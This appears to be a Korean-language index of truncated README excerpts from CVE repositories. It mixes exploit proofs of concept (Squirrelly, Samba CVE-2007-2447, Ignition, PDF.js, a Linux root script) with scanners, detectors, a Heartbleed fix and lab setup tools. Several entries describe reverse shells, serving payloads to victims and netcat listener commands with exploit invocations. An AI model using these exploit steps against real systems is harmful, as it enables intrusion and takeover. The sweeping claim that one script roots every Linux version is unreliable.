CVE-2024-40453

CVE-2024-40453 - Squirrelly v9.0.0 RCE 면책 조항: 이 스크립트는 교육 목적으로만 사용해야 합니다. 불법적인 목적으로 사용하지 마십시오. 만약 그렇게 한다면 전적으로 귀하의 책임이며, 저는 어떠한 오용에 대해서도 책임을 지지 않습니다. 설명 이 스크립트는 현재 디렉토리에 payload.sh라는 리버스 셸을 생성합니다. 그런 다음 포트 80에서 HTTP 서버를 호스팅하여 피해자가 payload.sh를 가져올 수 있도록 합니다. 공격자 시스템에서 리스너를 시작해야 합니다. HTTP 서버는 3초 후에...

CVE-2024-6387_Check

이 스크립트는 지정된 대상에 따라 서버가 취약한 버전의 OpenSSH를 실행 중인지 확인합니다. 여러 대상과 포트를 동시에 스캔하기 위해 스레딩을 사용합니다. 설치: git clone https://github.com/sardine-web/CVE-2024-6387Check.git cd CVE-2024-6387Check 사용법 서버가 OpenSSH 취약점에 취약한지 확인하려면: python main.py -p PORT -t TIMEOUT 옵션 : IP 주소, 도메인 이름, IP 주소가 포함된 파일 경로 또는 CIDR 네트워크 범...

Heartbleed

Heartbleed-POC 이 저장소는 Heartbleed CVE에 대한 유효한 개념 증명을 제공하고, 사전 빌드된 Dockerfile 없이 자체 Heartbleed 챌린지를 설정하는 방법에 대한 지침을 포함하는 것을 목표로 합니다. 실습 환경 구축 방법 1. cd service/heartbleed 또는 cd src 명령어를 사용하여 source/service 디렉토리로 이동합니다. 2. 다음 명령어로 Docker 컨테이너를 빌드합니다: sudo docker build -t heartbleed . 3. 다음 명령어로 Docke...

CVE-2021-21239

CVE-2021-21239 이것은 xmlsec 취약점 CVE-2021-21239를 악용하는 PoC 스크립트입니다. 이 스크립트를 사용하려면 Docker 이미지를 빌드하거나, RSA 키를 직접 제공하고 xmlsec이 설치되어 있다고 가정하고 실행할 수 있습니다. 취약점 정보: https://www.aleksey.com/pipermail/xmlsec/2013/009717.html...

CVE-2023-43876-October-CMS-Reflected-XSS---Installation

October CMS 반사형 XSS v3.4.16 작성자: Sergio 설명: October v.3.4.16 설치 과정의 Cross-Site Scripting XSS 취약점으로 인해 로컬 공격자가 dbhost 필드에 주입된 조작된 페이로드를 통해 임의의 웹 스크립트를 실행할 수 있습니다. 공격 벡터: dbhost 필드의 설치 정화 과정에서 발생하는 취약점으로 인해 JavaScript 코드가 주입될 수 있습니다. POC: 설치 과정에서 dbhost 필드에 XSS 페이로드를 입력하고 다음을 클릭하면 XSS 팝업이 나타납니다. XS...

CVE-2024-4367

CVE-2024-4367 POC 사용법 python poc.py mal.pdf "alert'0x2r2'" 참고 자료 CVE-2024-4367: PDF.js에서 임의 JS 실행 PDF.js POC 스캐너 템플릿...

CVE-2024-29296-PoC

Portainer CVE-2024-29296 개념 증명 스크립트 요구 사항 python3 -m venv venv; source venv/bin/activate pip install -r requirements.txt usernames.txt에 사용자 이름 추가 사용법 python3 main.py 대상 URL 입력: 사용자 이름 목록 입력: 크레딧 보고자: https://github.com/ThaySolis/CVE-2024-29296...

CVE-2024-23113

CVE-2024-23113 이 Python 스크립트는 클라이언트 목록을 검색하여 해당 FortiGate 장치가 이 CVE에 취약한지 확인합니다. 사용 방법 1. "clients.txt" 파일을 생성하고, 모든 클라이언트 IP 주소 목록을 가져옵니다. 2. "vul.txt" 파일을 생성합니다. 이 파일은 스크립트 결과를 내보내는 데 사용됩니다. 3. scan-clients.py를 실행합니다. 책임 면제 이 Python 스크립트는 내부 용도로만 사용해야 합니다. 자신의 IP 공간 또는 클라이언트의 IP 공간을 스캔하는 데만 사용해...

Detect-CVE-2018-20250

Detect-CVE-2018-20250 이 스크립트는 .rar 파일 중 하나가 CVE-2018-20250을 악용하기 위한 구성을 가지고 있는지 탐지합니다. 이 탐지에는 file 명령어와 strings 명령어가 사용되며, 이들은 대부분의 Linux 배포판에 있습니다. 스크립트 사용법 ./detectwinrarexploit.sh 페이로드 추출 악성 페이로드를 추출하려면 다음 링크에 있는 acefile-unace 애플리케이션이 필요합니다: https://github.com/droe/acefile pip3으로 간단히 설치할 수 있습니...

CVE-2021-41773-Scanner

CVE-2021-41773 Shodan 스캐너 멀티스레드 Python 스크립트를 통한 CVE-2021-41773 Shodan 스캐너 사용법: git clone https://github.com/anldori/CVE-2021-41773-Scanner cd CVE-2021-41773-Scanner/ scan.py에 개인 Shodan API 키를 추가하세요 python3 scan.py...

Mass-CVE-2021-3129-Scanner

CVE-2021-3129 Laravel Debug RCE 批量扫描器 使用方法 $ bash massCVE-2021-3129scan.sh list.txt...

CVE-2007-2447

CVE-2007-2447 스크립트를 테스트하려면 여기에서 제공되는 가상 머신 "metasploitable 2"를 추천합니다. 익스플로잇이 작동하면 스크립트가 리버스 셸을 표시합니다. 연결을 받으려면 netcat 세션을 다음과 같이 열면 됩니다: netcat -lnvp 목차 예제 요구 사항 페이로드 예제 py CVE-2007-2447.py 192.168.1.38 1337 192.168.1.14 그리고 netcat에서: netcat -lnvp 1337 결과: netcat: alt text 스크립트에서: alt text 요구 사항...

CVE-2024-23334

CVE-2024-23334 !IMPORTANT aiohttp가 static 폴더가 아닌 다른 폴더에 구성되어 있을 수 있습니다. 그런 경우 스크립트에서 folder 변수의 값을 변경하세요. 취약점 사용 방법 !CAUTION 면책 조항: 이 스크립트는 윤리적 용도로 제작되었습니다...

CVE-2020-14882-checker

CVE-2020-14882 점검 도구 CVE-2020-14882 탐지 스크립트 이 점검 도구는 jas502n의 PoC를 기반으로 합니다. 가젯을 사용하여 인증되지 않은 사용자가 접근할 수 없어야 하는 페이지의 HTTP 응답을 대체하려고 시도합니다. python cve202014882checker.py --ip 192.168.1.75 python cve202014882checker.py --ips ipsfile.txt --port 7002 --ssl...

deploy-goad

Ubuntu Linux 22.04에 GOAD v2 배포 이 스크립트는 https://github.com/Orange-Cyberdefense/GOAD에서 제공하는 Active Directory 랩을 배포할 때 필요한 사전 요구 사항을 간소화합니다. 개요 컴퓨터 BIOS에서 VTx 확장이 활성화되어 있는지 확인합니다. Ubuntu Server 22.04를 설치합니다. LAN을 통해 접근할 수 있도록 네트워킹을 고정 IP권장 또는 DHCP로 구성합니다. 최소 4코어, 24GB RAM, 160GB SSD 드라이브를 권장합니다. 스크립...

randy

Randy 개요 이것은 Inductive Automation Ignition의 사전 인증 RCE 익스플로잇으로, 버전 = 8.1.16에 영향을 미칩니다. 우리는 Pwn2Own Miami 2022에서 조잡한 익스플로잇과 디버그 환경이 없어 취약점을 악용하는 데 실패했지만, 그 이후로 시간과 에너지를 찾아 개선했습니다! 작성자 Incite Team의 Chris Anastasio와 Steven Seeley mrme 빌드 1. mvn clean compile assembly:single -DskipTests로 빌드하십시오. 테스트 이...

cs-get-last-error

cs-get-last-error Google 검색, net helpmsg, 또는 Microsoft Error Lookup Tool의 도움 없이 Cobalt Strike 클라이언트 내부에서 직접 GetLastError 코드로부터 오류 메시지를 얻을 수 있습니다. 오류 메시지는 aggressor 스크립트에 포함되어 있으며, beacon과의 상호 작용이 필요하지 않습니다. aggressor 스크립트는 windows-lasterror-json 파일들로부터 자동으로 생성되고 업데이트됩니다. 사용 예제 beacon ls...

openssl-heartbleed-fix

openssl-heartbleed-fix OpenSSL Heartbleed CVE-2014-0160 수정 스크립트 Sammy Fung [email protected] OpenSSL Heartbleed CVE-2014-0160 http://www.us-cert.gov/ncas/alerts/TA14-098A 버그는 네트워크 보안 전문가들에 의해 발견되었으며, 일부 OpenSSL 버전을 사용하는 많은 시스템이 영향을 받습니다. 이론적으로, 많은 웹 서버의 SSL 인증서가 영향을 받은 것으로 추정되므로, 수정된 버전의...

Gombruc

Gombruc 리눅스 권한 상승 모든 버전 이 취약점은 모든 Linux 시스템에 영향을 미치는 CVE-2025-0401과 관련이 있습니다. 이 bash 스크립트를 사용하면 사용자에게 Root 액세스를 포함한 모든 수준의 액세스 권한을 부여할 수 있습니다. 경고: 이 익스플로잇은 교육 목적으로만 제공되며 이 취약점을 악용하는 것은 위험합니다. 힌트 Linux에서 Gombruc를 사용하려면 다음 단계를 따르세요: Step 1. chmod +x Gombruc.sh Step 2. ./Gombruc.sh Step 3. 상승된 "root...

CVE-2018-7849

CVE-2018-7849 영향을 받는 제품 Schneider Electric Modicon M580 버전 2.90 Schneider Electric Modicon M340 버전 3.10 Schneider Electric Modicon Premium 모든 버전 Schneider Electric Modicon Quantum 모든 버전 참고 자료 https://www.se.com/ww/en/download/document/SEVD-2019-134-11/...